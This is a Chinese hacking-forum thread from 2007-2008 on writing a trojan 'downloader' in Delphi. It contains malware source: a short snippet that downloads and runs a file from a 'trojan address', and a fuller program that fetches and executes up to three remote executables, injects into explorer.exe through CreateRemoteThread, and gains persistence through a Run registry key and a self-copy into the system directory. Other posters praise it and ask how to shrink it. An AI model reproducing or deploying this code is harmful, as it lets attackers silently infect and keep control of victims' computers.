查看完整版本: Delphi编写下载者的方法

蓝梦泽 2007-2-4 04:21

Delphi编写下载者的方法

在Delphi中,写一个下载者很简单的!下面给大家一个思路!
[code]
调用API:
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtDlgs, ShellAPI;
调用的API函数:
ShellExecute
URLDownloadTofile
在Delpihi,在窗体运行的那个过程(FORM1。CREAT)里写上:
URLDownloadToFile (0, '木马地址', 'c:\蓝梦泽.exe', 0, 0  
ShellExecute (0, 'Open', 'c:\fhm.exe', nil, nil, SW_SHOWNORMAL);
  
就可以了。。。运行这个程序就会自动从木马地址下载一个程序到C盘下并命名为蓝梦泽.exe然后再运行了 [/code]

夜魔血影 2007-2-5 11:31

晕,就调用以下API

生如夏花 2007-2-7 14:34

program server;

{$IMAGEBASE $13140000}

uses
Windows,
SysUtils,
urlmon,   //下载单元 ,这个改api减少体积不多
Registry; //注册表单元,这个可以改成api,会减少很多体积
var
url: pchar ='                                           ';   //依次3个留出了生成器写入下载地址的位置
  url2: pchar ='                                           ';
  url3: pchar ='                                           ';
procedure Download; //下载过程
begin
URLDownloadToFile(nil, url, 'C:\windows\temp\system.exe', 0, nil);   //下载文件
WinExec('C:\windows\temp\system.exe', SW_SHOW); //SW_SHOW or SW_HIDE //执行文件 sw_show是显示运行,sw_hide是隐藏运行

URLDownloadToFile(nil, url2, 'C:\windows\temp\system2.exe', 0, nil);
WinExec('C:\windows\temp\system2.exe', SW_SHOW); //SW_SHOW or SW_HIDE   //winexec可以用api写,减少体积

URLDownloadToFile(nil, url3, 'C:\windows\temp\system3.exe', 0, nil);
WinExec('C:\windows\temp\system3.exe', SW_SHOW); //SW_SHOW or SW_HIDE
end;

var
hModule, hModule_News: Pointer;
Extent, Size, ThreadId: longword;
ProcessHandle, Pid: longword;
reg:TRegistry;
sysdir:array[0..50] of char;

begin
GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);
//获取Exp进程的PID码,Shell_TrayWnd为类名,相关的需用SPY++来查看

ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); //打开进程

hModule := Pointer(GetModuleHandle(nil));
//这里得到的值为一个返回一个指针型变量,指向内容包括自身映像的基址和长度

Extent := PImageOptionalHeader(Pointer(integer(hModule) + PImageDosHeader(hModule)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
//得到内存映像的长度

VirtualFreeEx(ProcessHandle, hModule, 0, MEM_RELEASE);
//在Exp进程的内存范围内分配一个足够长度的内存

hModule_News := VirtualAllocEx(ProcessHandle, hModule, Extent, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//确定起始基址和内存映像基址的位置

WriteProcessMemory(ProcessHandle, hModule_News, hModule, Extent, Size);
//确定上面各项数据后,这里开始进行操作

CreateRemoteThread(ProcessHandle, nil, 0, @Download, hModule, 0, ThreadId);
//建立远程线程,至此注入过程完成

CloseHandle(ProcessHandle);
//关闭对像

{上面这段代码是插进程explorer.exe}
begin
Reg := TRegistry.Create;
Try
  Reg.RootKey := HKEY_LOCAL_MACHINE;
  Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
  Reg.WriteString('system', 'intenat.exe'); //写入数据
  Reg.CloseKey;
Finally
  Reg.Free;
End;
//上面是写注册表代码
GetSystemDirectory(sysdir,50);   //获取系统目录,赋给sysdir变量 ,getwindowsdirectory是获取windows目录
if not FileExists(sysdir+'\intenat.exe') then   //如果系统目录下不存在intenat.exe则执行
  copyfile(pchar(paramstr(0)),pchar(sysdir+'\intenat.exe'),true); //复制自身到系统目录下,名字是intenat.exe

end;
end.


看我的
呵呵
加入了进程注入了
还有程序自启动
QQ:65625425

夜魔血影 2007-2-9 12:19

写的不错,不过怎么看都像是我在那见过,名字好像是A~~什么的:lol

生如夏花 2007-2-10 13:34

关键是学以致用
才是硬道理
无所谓原创与否

飘来飘去 2008-7-2 12:36

晕死,楼主的源码都弄错了。
-----------------------
URLDownloadToFile (0, '木马地址', 'c:\蓝梦泽.exe', 0, 0  
ShellExecute (0, 'Open', 'c:\fhm.exe', nil, nil, SW_SHOWNORMAL);
-----------------------
为了虚荣心打上自己的版权,唉!盗版也不弄真实点。。。

sunyboylqy 2008-7-2 15:25

就调用几个API函数,还是谢谢提供了!感谢生如夏花兄弟了。

sunyboylqy 2008-7-2 15:28

问下生如夏花兄弟

urlmon,   //下载单元 ,这个改api减少体积不多
Registry; //注册表单元,这个可以改成api,会减少很多体积

你注释的可以改成api,什么意思?难道调用注册表可以用api来简单实现?
页: [1]
查看完整版本: Delphi编写下载者的方法